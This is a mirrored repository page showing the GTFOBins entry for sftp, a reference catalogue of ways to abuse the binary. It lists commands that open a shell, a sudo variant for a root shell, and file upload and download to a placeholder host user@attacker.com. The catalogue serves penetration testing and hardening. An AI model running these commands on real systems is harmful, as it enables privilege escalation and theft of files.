This website requires JavaScript.
Explore
Help
Register
Sign In
mirror
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced
2026-01-03 14:21:40 +01:00
Code
Issues
39f4a8bfd1
GTFOBins.github.io
/
_gtfobins
/
sftp.md
Emilio Pinna
dd337b5ddf
Adopt new function names
2018-10-05 18:55:38 +01:00
552 B
Raw
Blame
History
functions
shell
file-upload
file-download
sudo
code
HOST=user@attacker.com
sftp $HOST !/bin/sh
description
code
Send local file to a SSH server.
RHOST=user@attacker.com
sftp $RHOST put file_to_send file_to_save
description
code
Fetch a remote file from a SSH server.
RHOST=user@attacker.com
sftp $RHOST get file_to_get file_to_save
code
HOST=user@attacker.com
sudo sftp $HOST !/bin/sh